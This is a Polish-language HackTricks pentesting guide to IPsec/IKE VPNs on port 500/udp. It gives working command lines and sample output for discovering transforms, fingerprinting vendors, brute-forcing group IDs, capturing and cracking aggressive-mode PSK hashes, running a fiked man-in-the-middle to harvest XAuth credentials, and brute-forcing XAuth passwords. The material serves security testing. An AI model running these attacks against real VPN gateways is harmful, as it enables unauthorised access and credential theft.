hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

19 KiB

500/udp - Testowanie penetracyjne IPsec/IKE VPN

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Grupa Bezpieczeństwa Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Podstawowe informacje

IPsec jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-to-LAN) oraz od użytkowników zdalnych do bramy sieciowej (dostęp zdalny), stanowiąc podstawę dla rozwiązań VPN dla przedsiębiorstw.

Ustanowienie stowarzyszenia bezpieczeństwa (SA) między dwoma punktami jest zarządzane przez IKE, który działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Ten proces przebiega w kilku fazach:

  • Faza 1: Tworzony jest bezpieczny kanał między dwoma punktami. Osiąga się to za pomocą klucza wstępnego (PSK) lub certyfikatów, przy użyciu trybu głównego, który obejmuje trzy pary komunikatów, lub trybu agresywnego.
  • Faza 1.5: Choć nie jest obowiązkowa, ta faza, znana jako Faza Rozszerzonej Autoryzacji, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
  • Faza 2: Ta faza jest poświęcona negocjacji parametrów zabezpieczających dane za pomocą ESP i AH. Pozwala na użycie algorytmów różnych od tych w Fazie 1, aby zapewnić Doskonałe Przekazywanie Tajemnic (PFS), zwiększając bezpieczeństwo.

Domyślny port: 500/udp

Odkryj usługę za pomocą nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Znalezienie prawidłowej transformacji

Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. Każda transformacja zawiera szereg atrybutów, takich jak DES lub 3DES jako algorytm szyfrowania, SHA lub MD5 jako algorytm integralności, klucz wstępnie uzgodniony jako typ uwierzytelnienia, Diffie-Hellman 1 lub 2 jako algorytm dystrybucji klucza oraz 28800 sekund jako czas życia.

Następnie pierwszą rzeczą, którą musisz zrobić, to znaleźć prawidłową transformację, aby serwer zechciał z tobą rozmawiać. Aby to zrobić, możesz skorzystać z narzędzia ike-scan. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z osiemnastoma transformacjami wewnątrz.

W zależności od odpowiedzi możesz uzyskać pewne informacje na temat punktu końcowego:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Jak widać w poprzedniej odpowiedzi, istnieje pole o nazwie AUTH z wartością PSK. Oznacza to, że vpn jest skonfigurowany przy użyciu klucza wstępnego (co jest naprawdę dobre dla pentestera).
Wartość ostatniej linii jest również bardzo ważna:

  • 0 zwrócony handshake; 0 zwrócony notify: Oznacza to, że cel nie jest bramą IPsec.
  • 1 zwrócony handshake; 0 zwrócony notify: Oznacza to, że cel jest skonfigurowany do IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jedna lub więcej proponowanych transformacji jest akceptowalna (poprawna transformacja zostanie pokazana w wyniku).
  • 0 zwrócony handshake; 1 zwrócony notify: Bramy VPN odpowiadają wiadomością notify, gdy żadna z transformacji nie jest akceptowalna (choć niektóre bramy tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidować propozycję).

W tym przypadku mamy już poprawną transformację, ale jeśli znajdziesz się w 3. przypadku, będziesz musiał nieco przeprowadzić atak siłowy, aby znaleźć poprawną transformację:

Po pierwsze, musisz utworzyć wszystkie możliwe transformacje:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

I następnie przeprowadź atak siłowy na każde z nich, używając ike-scan (może to zająć kilka minut):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Jeśli atak brute-force nie zadziałał, być może serwer odpowiada bez użycia negocjacji nawet na poprawne transformacje. W takim przypadku można spróbować tego samego ataku brute-force, ale w trybie agresywnym:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Mam nadzieję, że poprawna transformacja zostanie zwrócona.
Możesz spróbować tego samego ataku za pomocą iker.py.
Możesz także spróbować siłowo przeprowadzić transformacje za pomocą ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

W Grupa DH: 14 = 2048-bit MODP i 15 = 3072-bit
2 = HMAC-SHA = SHA1 (w tym przypadku). Format --trans to $Enc,$Hash,$Auth,$DH

Cisco zaleca unikanie korzystania z grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że kraje posiadające duże zasoby mogą łatwo złamać szyfrowanie danych korzystających z tych słabych grup. Dokonuje się tego za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Pomimo kosztów związanych z ustawieniem tej metody, pozwala to tym potężnym krajom na odczytywanie zaszyfrowanych danych w czasie rzeczywistym, jeśli korzystają z grupy, która nie jest wystarczająco silna (np. 1,024-bitowa lub mniejsza).

Identyfikacja serwera

Następnie można użyć ike-scan, aby spróbować odkryć producenta urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie analizuje różnicę czasu między otrzymanymi wiadomościami od serwera a pasującym wzorcem odpowiedzi, co pozwala pentesterowi pomyślnie zidentyfikować producenta bramy VPN. Ponadto niektóre serwery VPN będą korzystać z opcjonalnego ładunku ID producenta (VID) z IKE.

Określ poprawną transformację, jeśli jest to konieczne (używając --trans)

Jeśli IKE zidentyfikuje producenta, wydrukuje go:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

To można osiągnąć także za pomocą skryptu nmap ike-version

Znajdowanie poprawnego ID (nazwy grupy)

Aby móc przechwycić skrót, potrzebujesz prawidłowej transformacji obsługującej tryb Aggressive oraz poprawne ID (nazwa grupy). Prawdopodobnie nie będziesz znać poprawnej nazwy grupy, dlatego będziesz musiał ją przełamać. Aby to zrobić, polecam ci 2 metody:

Próba przełamania ID za pomocą ike-scan

Po pierwsze, spróbuj złożyć żądanie z fałszywym ID, próbując zgromadzić skrót ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Jeśli nie zostanie zwrócony żaden skrót, to prawdopodobnie ta metoda ataku brutalnej siły zadziała. Jeśli zostanie zwrócony jakiś skrót, oznacza to, że fałszywy skrót zostanie odesłany dla fałszywego ID, więc ta metoda nie będzie niezawodna do ataku brutalnej siły na ID. Na przykład, może zostać zwrócony fałszywy skrót (co się zdarza w nowoczesnych wersjach):

Ale jeśli, jak powiedziałem, nie zostanie zwrócony żaden skrót, powinieneś spróbować ataku brutalnej siły na powszechne nazwy grup za pomocą ike-scan.

Ten skrypt spróbuje ataku brutalnej siły na możliwe ID i zwróci ID, dla których zostanie zwrócony poprawny handshake (będzie to poprawna nazwa grupy).

Jeśli odkryłeś określoną transformację, dodaj ją w poleceniu ike-scan. A jeśli odkryłeś kilka transformacji, śmiało dodaj nową pętlę, aby spróbować ich wszystkich (powinieneś je wszystkie wypróbować, aż jedna z nich będzie działać poprawnie).

Możesz użyć słownika ikeforce lub tego w seclists z powszechnymi nazwami grup do ataku brutalnej siły na nie:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Bruteforcing ID with Iker

iker.py używa również ike-scan do przeprowadzenia ataku brutalnej siły na możliwe nazwy grup. Podąża za własną metodą, aby znaleźć poprawne ID na podstawie wyniku ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py to narzędzie, które może być użyte do brutalnego ataku na ID. To narzędzie będzie próbować wykorzystać różne podatności, które mogą być użyte do rozróżnienia między poprawnym a niepoprawnym ID (może wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).

Domyślnie ikeforce na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.

  • Pierwsza metoda polega na brutalnym ataku na nazwy grup poprzez wyszukiwanie informacji Dead Peer Detection DPD systemów Cisco (te informacje są odtwarzane tylko przez serwer, jeśli nazwa grupy jest poprawna).
  • Druga dostępna metoda polega na sprawdzeniu liczby odpowiedzi wysłanych do każdej próby, ponieważ czasami wysyłane jest więcej pakietów, gdy użyte jest poprawne id.
  • Trzecia metoda polega na wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID.
  • Wreszcie, jeśli serwer nie odpowiada na żadne sprawdzenia, ikeforce spróbuje przeprowadzić brutalny atak na serwer i sprawdzić, czy gdy wysłane jest poprawne id, serwer odpowiada jakimś pakietem.
    Oczywiście celem brutalnego ataku na id jest uzyskanie PSK po uzyskaniu poprawnego id. Następnie, z id i PSK będziesz musiał przeprowadzić brutalny atak na XAUTH (jeśli jest włączony).

Jeśli odkryłeś/aś konkretną transformację, dodaj ją w poleceniu ikeforce. A jeśli odkryłeś/aś kilka transformacji, śmiało dodaj nową pętlę, aby je wszystkie wypróbować (powinieneś/aś je wypróbować wszystkie, aż jedna z nich będzie działać poprawnie).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Podsłuchiwanie ID

(Z książki Network Security Assessment: Know Your Network): Możliwe jest również uzyskanie prawidłowych nazw użytkowników poprzez podsłuchiwanie połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet trybu agresywnego zawierający identyfikator klienta jest wysyłany w formie niezaszyfrowanej

Przechwytywanie i łamanie hasha

Wreszcie, jeśli znalazłeś prawidłową transformację i nazwę grupy oraz jeśli tryb agresywny jest dozwolony, wtedy bardzo łatwo możesz przechwycić hasz do złamania:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hasz zostanie zapisany wewnątrz hash.txt.

Możesz użyć psk-crack, john (korzystając z ikescan2john.py) oraz hashcat do łamania hasha:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Tryb Agresywny IKE w połączeniu z kluczem wstępnym (PSK) jest powszechnie stosowany do celów uwierzytelniania grupowego. Ta metoda jest uzupełniana przez XAuth (Rozszerzona Autentykacja), która wprowadza dodatkową warstwę uwierzytelniania użytkownika. Takie uwierzytelnianie zazwyczaj korzysta z usług takich jak Microsoft Active Directory, RADIUS lub podobne systemy.

Przechodząc do IKEv2, zauważa się istotną zmianę, gdzie EAP (Protokół Autentykacji Rozszerzalnej) jest wykorzystywany zamiast XAuth w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach protokołów bezpiecznej komunikacji.

Man in the Middle w lokalnej sieci w celu przechwycenia poświadczeń

Możesz przechwycić dane logowania za pomocą fiked i sprawdzić, czy istnieje jakieś domyślne nazwa użytkownika (Musisz przekierować ruch IKE do fiked w celu podsłuchiwania, co można zrobić za pomocą podszywania ARP, więcej informacji). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Próba siłowego przełamania nazwy użytkownika i hasła XAUTH za pomocą ikeforce

Aby siłowo przełamać XAUTH (gdy znasz poprawną nazwę grupy id i psk), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

W ten sposób ikeforce będzie próbował połączyć się, używając każdej kombinacji nazwa_użytkownika:hasło.

Jeśli znalazłeś jeden lub kilka prawidłowych transformacji, po prostu użyj ich jak w poprzednich krokach.

Autoryzacja przy użyciu VPN IPSEC

W Kali, VPNC jest wykorzystywany do nawiązywania tuneli IPsec. Profile muszą być umieszczone w katalogu /etc/vpnc/. Możesz uruchomić te profile, używając polecenia vpnc.

Poniższe polecenia i konfiguracje obrazują proces ustanowienia połączenia VPN przy użyciu VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

W tym ustawieniu:

  • Zamień [VPN_GATEWAY_IP] na rzeczywisty adres IP bramy VPN.
  • Zamień [VPN_CONNECTION_ID] na identyfikator połączenia VPN.
  • Zamień [VPN_GROUP_SECRET] na sekret grupy VPN.
  • Zamień [VPN_USERNAME] i [VPN_PASSWORD] na poświadczenia uwierzytelniające VPN.
  • [PID] symbolizuje identyfikator procesu, który zostanie przypisany podczas inicjowania vpnc.

Upewnij się, że podczas konfigurowania VPN zastąpione są zastępcze wartości rzeczywistymi, bezpiecznymi wartościami.

Materiały referencyjne

Shodan

  • port:500 IKE

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: